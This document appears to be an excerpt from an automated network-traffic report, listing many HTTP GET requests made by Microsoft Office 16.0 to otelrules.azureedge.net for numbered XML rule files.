Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
